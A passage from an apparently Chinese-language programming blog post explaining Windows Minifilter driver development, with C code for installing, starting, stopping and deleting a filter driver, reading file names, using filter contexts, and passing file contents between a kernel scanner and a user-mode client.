lpszDriverPath,const char* lpszAltitude) { char szTempStr[MAX_PATH]; HKEY hKey; DWORD dwData; char szDriverImagePath[MAX_PATH]; if( NULL==lpszDriverName || NULL==lpszDriverPath ) { return FALSE; } //得到完整的驱动路径 GetFullPathName(lpszDriverPath, MAX_PATH, szDriverImagePath, NULL); SC_HANDLE hServiceMgr=NULL;// SCM管理器的句柄 SC_HANDLE hService=NULL;// NT驱动程序的服务句柄 //打开服务控制管理器 hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hServiceMgr == NULL ) { // OpenSCManager失败 CloseServiceHandle(hServiceMgr); return FALSE; } // OpenSCManager成功 //创建驱动所对应的服务 hService = CreateService( hServiceMgr, lpszDriverName, // 驱动程序的在注册表中的名字 lpszDriverName, // 注册表驱动程序的DisplayName 值 SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限 SERVICE_FILE_SYSTEM_DRIVER, // 表示加载的服务是文件系统驱动程序 SERVICE_DEMAND_START, // 注册表驱动程序的Start 值 SERVICE_ERROR_IGNORE, // 注册表驱动程序的ErrorControl 值 szDriverImagePath, // 注册表驱动程序的ImagePath 值 "FSFilter Activity Monitor",// 注册表驱动程序的Group 值 NULL, "FltMgr", // 注册表驱动程序的DependOnService 值 NULL, NULL); if( hService == NULL ) { if( GetLastError() == ERROR_SERVICE_EXISTS ) { //服务创建失败,是由于服务已经创立过 CloseServiceHandle(hService); // 服务句柄 CloseServiceHandle(hServiceMgr); // SCM句柄 return TRUE; } else { CloseServiceHandle(hService); // 服务句柄 CloseServiceHandle(hServiceMgr); // SCM句柄 return FALSE; } } CloseServiceHandle(hService); // 服务句柄 CloseServiceHandle(hServiceMgr); // SCM句柄 //------------------------------------------------------------------------------------------------------- // SYSTEM\\CurrentControlSet\\Services\\DriverName\\Instances子健下的键值项 //------------------------------------------------------------------------------------------------------- strcpy(szTempStr,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(szTempStr,lpszDriverName); strcat(szTempStr,"\\Instances"); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szTempStr,0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS) { return FALSE; } // 注册表驱动程序的DefaultInstance 值 strcpy(szTempStr,lpszDriverName); strcat(szTempStr," Instance"); if(RegSetValueEx(hKey,"DefaultInstance",0,REG_SZ,(CONST BYTE*)szTempStr,(DWORD)strlen(szTempStr))!=ERROR_SUCCESS) { return FALSE; } RegFlushKey(hKey);//刷新注册表 RegCloseKey(hKey); //------------------------------------------------------------------------------------------------------- // SYSTEM\\CurrentControlSet\\Services\\DriverName\\Instances\\DriverName Instance子健下的键值项 //------------------------------------------------------------------------------------------------------- strcpy(szTempStr,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(szTempStr,lpszDriverName); strcat(szTempStr,"\\Instances\\"); strcat(szTempStr,lpszDriverName); strcat(szTempStr," Instance"); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szTempStr,0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS) { return FALSE; } // 注册表驱动程序的Altitude 值 strcpy(szTempStr,lpszAltitude); if(RegSetValueEx(hKey,"Altitude",0,REG_SZ,(CONST BYTE*)szTempStr,(DWORD)strlen(szTempStr))!=ERROR_SUCCESS) { return FALSE; } // 注册表驱动程序的Flags 值 dwData=0x0; if(RegSetValueEx(hKey,"Flags",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS) { return FALSE; } RegFlushKey(hKey);//刷新注册表 RegCloseKey(hKey); return TRUE; }这里提供一个安装驱动的函数,在这个函数中将某些信息写入了注册表,注册表中变化的信息如下:HKEY_LOCAL_MACHINE中的SYSTEM\CurrentControlSet\Services\Nullfilter\Instances 中键 DefaultInstance = "nullfilter Instance"HKEY_LOCAL_MACHINE中的SYSTEM\CurrentControlSet\Services\Nullfilter\ nullfilter Instances 中键 altitude = “370020”,键Flags = 0启动驱动驱动的启动与普通的服务程序的启动方法一样,这里直接贴上代码:BOOL StartDriver(const char* lpszDriverName) { SC_HANDLE schManager; SC_HANDLE schService; if(NULL==lpszDriverName) { return FALSE; } schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if(NULL==schManager) { CloseServiceHandle(schManager); return FALSE; } schService=OpenService(schManager,lpszDriverName,SERVICE_ALL_ACCESS); if(NULL==schService) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return FALSE; } if(!StartService(schService,0,NULL)) { CloseServiceHandle(schService); CloseServiceHandle(schManager); if( GetLastError() == ERROR_SERVICE_ALREADY_RUNNING ) { // 服务已经开启 return TRUE; } return FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schManager); return TRUE; }停止驱动的运行BOOL StopDriver(const char* lpszDriverName) { SC_HANDLE schManager; SC_HANDLE schService; SERVICE_STATUS svcStatus; bool bStopped=false; schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if(NULL==schManager) { return FALSE; } schService=OpenService(schManager,lpszDriverName,SERVICE_ALL_ACCESS); if(NULL==schService) { CloseServiceHandle(schManager); return FALSE; } if(!ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus) && (svcStatus.dwCurrentState!=SERVICE_STOPPED)) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schManager); return TRUE; }删除驱动BOOL DeleteDriver(const char* lpszDriverName) { SC_HANDLE schManager; SC_HANDLE schService; SERVICE_STATUS svcStatus; schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if(NULL==schManager) { return FALSE; } schService=OpenService(schManager,lpszDriverName,SERVICE_ALL_ACCESS); if(NULL==schService) { CloseServiceHandle(schManager); return FALSE; } ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus); if(!DeleteService(schService)) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schManager); return TRUE; }Minfilter中如何获取各种信息的值Minfilter中将IRP进行了封装,但是在获取各种值时基本上变化不大,而且相对于之前的Sfilter简单了许多,下面假定在函数中有了它的CALL_BACK_DATA结构,有这样一条语句PFLT_CALLBACK_DATA Data获取当前进程的EPROCESS结构/*如果当前线程的ETHREAD结构不为NULL则根据线程ETHREAD来获取进程否则调用函数PsGetCurrentProcess()获取当前进程的EPROCESS结构*/ PEPROCESS processObject = Data->Thread ? IoThreadToProcess(Data->Thread) : PsGetCurrentProcess();向R3层返回数据Data->IoStatus.Status = ntStatus; Data->IoStatus.Information = 0;与使用IRP相似,在DATA中仍然使用IoStatus成员向R3返回,上述两句的意思与使用IRP时完全相同文件路径的获取文件路径的获取与Sfilter相比,简单了许多,只需要调用一个函数FltGetFileNameInformation,这个函数的定义在MSDN中可以查到,所以就不再这里做过多的说明,该函数会返回一个FLT_FILE_NAME_INFORMATION结构体用来保存文件名信息,结构体FLT_FILE_NAME_INFORMATION的定义如下所示typedef struct _FLT_FILE_NAME_INFORMATION { USHORT Size; FLT_FILE_NAME_PARSED_FLAGS NamesParsed; FLT_FILE_NAME_OPTIONS Format; UNICODE_STRING Name; UNICODE_STRING Volume; UNICODE_STRING Share; UNICODE_STRING Extension; UNICODE_STRING Stream; UNICODE_STRING FinalComponent; UNICODE_STRING ParentDir; } FLT_FILE_NAME_INFORMATION, *PFLT_FILE_NAME_INFORMATION;这个结构体记录了文件路径的各种信息,其中各个字符串都是根据Format的值来进行格式化得到的,需要注意的是在上述位置得到的文件名是类似与“\Device\HarddiskVolume1\Documents and Settings\MyUser\My Documents\Test Results.txt:stream1”的而不是我们之前熟悉的"C:\Documents and Settings\MyUser\My Documents\Test Results.txt:stream1",这就需要进行转化。需要注意的是在获取文件名时要在PostCreate函数中获取,因为当调用这个函数时说明根据传进来的文件路径已经正确打开了文件,这个时候的路径名一定是可靠的。 NTSTATUS ntStatus; PFLT_FILE_NAME_INFORMATION pNameInfo = NULL; UNREFERENCED_PARAMETER( Data ); UNREFERENCED_PARAMETER( FltObjects ); UNREFERENCED_PARAMETER( CompletionContext ); UNREFERENCED_PARAMETER( Flags ); //获取文件路径信息 ntStatus = FltGetFileNameInformation(Data, FLT_FILE_NAME_NORMALIZED| FLT_FILE_NAME_QUERY_DEFAULT, &pNameInfo); if (NT_SUCCESS(ntStatus)) { //解析获取到的信息 FltParseFileNameInformation(pNameInfo); DbgPrint("FileName:%wZ\n", &pNameInfo->Name); //使用完成后释放这个空间 FltReleaseFileNameInformation(pNameInfo); }函数FltGetFileNameInformation会自动为我们分配一个缓冲区来存储文件的信息,所以最后需要调用Release函数释放。另外通过调试的情况来看,FltGetFileNameInformation函数并不能获取文件路径的所有信息,一些扩展信息像Extension或者Parent这样的信息开始是没有的,只有通过FltParseFileNameInformation在已有信息的基础之上进行解析才会有。至于重命名的文件路径的获取使用下面的语句:PFILE_RENAME_INFORMATION pFileRenameInfomation = (PFILE_RENAME_INFORMATION)Data->Iopb->Parameters.SetFileInformation.InfoBuffer;在MInfilter中进行文件操作尽量使用以Flt开头的函数,不要使用Zw开头的那一组,以Zw开头的函数最终会触发Minfilter的回调函数,最终会造成无限递归Minfilter上下文在编程中,我们经常会遇到上下文这个概念,比如说进程上下文,线程上下文等等,在这里上下文表示某些代码执行的具体环境,系统一般位于进程上下文和中断上下文。当系统处理进程上下文时,系统在代替R3层做某些事,此时系统在调用系统API,执行系统功能,当系统处于进程上下文时是可以被挂起的。而当系统响应中断与具体硬件进行交互时处于中断上下文,此时的数据都位于非分页内存,而且不能睡眠而Minfilter上下文指的并不是代码运行的环境,而是一组数据,这组数据是附加到具体的设备对象上的,由用户自己定义。在使用时先利用函数AllocateContext分配一段内存空间,然后使用一组Set和Get函数来设置和获取设备上下文。具体的函数由不同的上下文来决定,下面是不同的上下文与他们对应的Set函数之间的关系|Context Type| Set-Context Routine||:--------------|:-||FLT_FILE_CONTEXT|Windows Vista and later only.) FltSetFileContext||FLT_INSTANCE_CONTEXT|FltSetInstanceContext||FLT_STREAM_CONTEXT|FltSetStreamContext||FLT_STREAMHANDLE_CONTEXT|FltSetStreamHandleContext||FLT_TRANSACTION_CONTEXT|(Windows Vista and later only.) FltSetTransactionContext||FLT_VOLUME_CONTEXT|FltSetVolumeContext|Get函数的使用与上述相同。最后使用完成后需要使用FltReleaseContext来释放这个上下文。下面是一个使用的具体例子typedef struct _INSTANCE_CONTEXT { … } INSTANCE_CONTEXT, *PINSTANCE_CONTEXT; PINSTANCE_CONTEXT pContext = NULL; //从设备对象上获取上下文 ntStatus = FltGetInstanceContext(FltObjects->Instance, & pContext); if(NT_SUCCESS(Status) == FALSE) { //设备上没有上下文则分配上下文的内存 ntStatus = FltAllocateContext(g_pFilter,FLT_INSTANCE_CONTEXT, sizeof(INSTANCE_CONTEXT), PagedPool,& pContext); if(NT_SUCCESS(Status) == FALSE) { //返回资源不足 return STATUS_INSUFFICIENT_RESOURCES; } RtlZeroMemory(pContext, sizeof(INSTANCE_CONTEXT)); } pContext ->m_DeviceType = VolumeDeviceType; pContext->m_FSType = VolumeFilesystemType; FltSetInstanceContext(FltObjects->Instance, FLT_SET_CONTEXT_REPLACE_IF_EXISTS,pContext,NULL); if (pContext) { FltReleaseContext(pContext); } //获取访问 PINSTANCE_CONTEXT pContext = NULL; Status = FltGetInstanceContext(FltObjects->Instance,&pContext); //下面是使用这个上下文,和一些其他的操作 pContext->xxx = xxx;回调函数运行的中断请求级别(IRQL)pre回调函数可以运行在APC_LEVEL或者PASSIVE_LEVEL 级别,但是一般是运行在PASSIVE_LEVEL级别如果一个Pre函数返回的是FLT_PREOP_SYNCHRONIZE,那么相对的,在同一个线程内部,它对应的POST函数将在IRQL <= APC_LEVEL级别运行。与对应的Pre在一个线程内时,fast IO请求对应的Post函数运行在PASSIVE_LEVEL级别Create回调的Post函数运行在PASSIVE_LEVEL级别当我们不确定当前代码所处的IRQL时可以使用函数KeCurrentIrql获取当前执行环境所在的IRQL。R3 与R0的通信R3在调用Minfilter中的相关函数时需要包含相关的库文件,与Lib文件,具体怎么包含这个我不太清楚,只需要在库项目属性的VC++目录下面这几项包含具体的路径即可包含目录 :“$(VC\_IncludePath);$(WindowsSDK_IncludePath);”库路径: "$(VC\_LibraryPath_x86);$(WindowsSDK\_LibraryPath\_x86);$(NETFXKitsDir)Lib\um\x86"之前R3与R0进行通信是通过R3调用DeviceIoControl函数将数据下发到R0层,然后R3等待一个事件,在R0处理完成R3的请求并准备好往上发的数据后将事件的对象设置为有信号,这样R3再从缓冲区中取数据,完成双方的通信,但是在Minfilter中准备了专门的函数用于双方通信。R3向R0下发数据R3层通过函数FilterSendMessage向R0下发数据,而R0通过fnMessageFromClient接收从R3发下来的数据。在Minfilter中R3与R0是通过各自的端口进行通讯的,这个端口与传统意义上的网络的通信端口不同,是一个抽象的概念,不需要太过于关注。在与R3进行通讯之前需要设置这个端口,端口的设置使用函数FltCreateComunicationPort,在这个函数调用时需要提供这样几个回调函数ConnectNotifyCallback:这个函数在R3层链接到R0的这个通讯端口时调用,在这个函数中可以拿到R3的进程句柄和R3的端口DisconnectNotifyCallback:当R3层与R0层断开时调用这个回调函数MessageNotifyCallback:当R3有数据下发下来调用这个回调,在这个函数中取R3发下来的数据R0向R3上报数据R0向R3上报数据时是一个双向的过程,R0既要上报数据,又要等待R3的返回,就好像之前的弹窗一样,当R0上报数据后就等待40s,在接收到R3的进一步指示时进行下一步,R0向R3上报大致经历这样的几个过程:R0通过函数FltSengMesage将数据发送到R3R3通过函数FilterGetMessage函数接收到R0的数据,并进行相应的处理处理完成后,调用函数FilterReplyMessage将处理结果返回给R0。另外需要注意一点,在进行通讯时需要两套数据结构,这两套分别运用在R3和R0两层,每一层都有两个数据结构,用来表示接收和返回的数据,拿R3来说,它需要一个MESSAGE结构体来接收从R0层发过来的数据,另外需要一个REPLY用于向R0返回数据。R3上报和下发的数据相比于R0需要多加一个FILTER_MESSAGE_HEADER的头,便于Minfilter分辨是哪个客户端下发的数据,Minfilter 根据这个头做相关的处理后将其于的数据发送到R0,所以R0能够正确知道是哪个进程在进行相关请求,而不需要添加额外的结构体下面是一个例子NTSTATUS ScannerpScanFileInUserMode ( __in PFLT_INSTANCE Instance, __in PFILE_OBJECT FileObject, __out PBOOLEAN SafeToOpen ) /*读取文件中的部分数据,然后交由R3处理,并根据R3返回的结果判断R3是否安全*/ { NTSTATUS status = STATUS_SUCCESS; PVOID buffer = NULL; ULONG bytesRead; PSCANNER_NOTIFICATION notification = NULL; FLT_VOLUME_PROPERTIES volumeProps; LARGE_INTEGER offset; ULONG replyLength, length; PFLT_VOLUME volume = NULL; *SafeToOpen = TRUE; if (ScannerData.ClientPort == NULL) { return STATUS_SUCCESS; } try { status = FltGetVolumeFromInstance( Instance, &volume ); if (!NT_SUCCESS( status )) { leave; } status = FltGetVolumeProperties( volume, &volumeProps, sizeof( volumeProps ), &length ); if (NT_ERROR( status )) { leave; } //取1024和扇区的最大值,保证读取的数据至少有一个扇区的大小 length = max( SCANNER_READ_BUFFER_SIZE, volumeProps.SectorSize ); /*分配一块内存用于从文件中读取数据,在minfilter中进行文件操作时申请缓冲区最好使用flt开头的一组函数,因为它不是简单的分配一块内存,还能保证在有程序使用这段内存时不会出现内存已被释放的情况,内部可能也用了引用计数*/ buffer = FltAllocatePoolAlignedWithTag( Instance, NonPagedPool, length, 'nacS' ); if (NULL == buffer) { status = STATUS_INSUFFICIENT_RESOURCES; leave; } //构建发送给R3层的结构体的内存 notification = ExAllocatePoolWithTag( NonPagedPool, sizeof( SCANNER_NOTIFICATION ), 'nacS' ); if(NULL == notification) { status = STATUS_INSUFFICIENT_RESOURCES; leave; } offset.QuadPart = bytesRead = 0; status = FltReadFile( Instance, FileObject, &offset, length, buffer, FLTFL_IO_OPERATION_NON_CACHED | FLTFL_IO_OPERATION_DO_NOT_UPDATE_BYTE_OFFSET, &bytesRead, NULL, NULL ); if (NT_SUCCESS( status ) && (0 != bytesRead)) { notification->BytesToScan = (ULONG) bytesRead; /*将这段信息发送到R3,这个函数是一个阻塞的函数,只有当超时值过了或者R3返回了数据才会返回,在这设置超时值为NULL表示会一直等待,在这返回值也是使用notification做为接受返回值的缓冲,在这不会出现覆盖的情况,因为这个函数在调用后首先是R3接受数据,然后进行处理,处理完成后R3才会主动调用另一个API返回数据,所以这里有一个时间差,当获取到返回值时之前传入的数据已经没有用了,这里将发送的缓冲与返回的缓冲定义为同一个只是为了节省内存*/ RtlCopyMemory( ¬ification->Contents, buffer, min( notification->BytesToScan, SCANNER_READ_BUFFER_SIZE ) ); replyLength = sizeof( SCANNER_REPLY ); //在这我们将 status = FltSendMessage( ScannerData.Filter, &ScannerData.ClientPort, notification, sizeof(SCANNER_NOTIFICATION), notification, &replyLength, NULL ); if (STATUS_SUCCESS == status) { *SafeToOpen = ((PSCANNER_REPLY) notification)->SafeToOpen; } else { DbgPrint( "!!! scanner.sys --- couldn't send message to user-mode to scan file, status 0x%X\n", status ); } } } finally { //最后清理内存 if (NULL != buffer) { FltFreePoolAlignedWithTag( Instance, buffer, 'nacS' ); } if (NULL != notification) { ExFreePoolWithTag( notification, 'nacS' ); } if (NULL != volume) { FltObjectDereference( volume ); } } return status; }这个例子演示了R0层如何从磁盘中读取文件内容,然后发送到R3,并从R3层上接受返回。下面这个例子将演示R3如何读取R0发上来的数据 while (TRUE) { //这是一个阻塞函数,当能从R0接受到数据的时候返回 result = GetQueuedCompletionStatus( Context->Completion, &outSize, &key, &pOvlp, INFINITE ); message = CONTAINING_RECORD( pOvlp, SCANNER_MESSAGE, Ovlp ); if (!result) { hr = HRESULT_FROM_WIN32( GetLastError() ); break; } printf( "Received message, size %d\n", pOvlp->InternalHigh ); notification = &message->Notification; assert(notification->BytesToScan <= SCANNER_READ_BUFFER_SIZE); /*R3层定义的这个SCANNER_MESSAGE结构体是在notification这个结构体的基础之上加了一个头,所以大小会大于这个notification*/ __analysis_assume(notification->BytesToScan <= SCANNER_READ_BUFFER_SIZE); //这个函数是一个自定义函数,用来扫描R0传上来的数据有没有特定的字符 result = ScanBuffer( notification->Contents, notification->BytesToScan ); replyMessage.ReplyHeader.Status = 0; replyMessage.ReplyHeader.MessageId = message->MessageHeader.MessageId; replyMessage.Reply.SafeToOpen = !result; printf( "Replying message, SafeToOpen: %d\n", replyMessage.Reply.SafeToOpen ); //向R0返回数据 hr = FilterReplyMessage( Context->Port, (PFILTER_REPLY_HEADER) &replyMessage, sizeof( replyMessage ) ); if (SUCCEEDED( hr )) { printf( "Replied message\n" ); } else { printf( "Scanner: Error replying message. Error = 0x%X\n", hr ); break; } memset( &message->Ovlp, 0, sizeof( OVERLAPPED ) ); //再次等待从R0下发的数据 hr = FilterGetMessage( Context->Port, &message->MessageHeader, FIELD_OFFSET( SCANNER_MESSAGE, Ovlp ), &message->Ovlp ); if (hr != HRESULT_FROM_WIN32( ERROR_IO_PENDING )) { break; } }
2016年10月23日
25 阅读
0 评论
0 点赞
1
...
34
35
36
...
40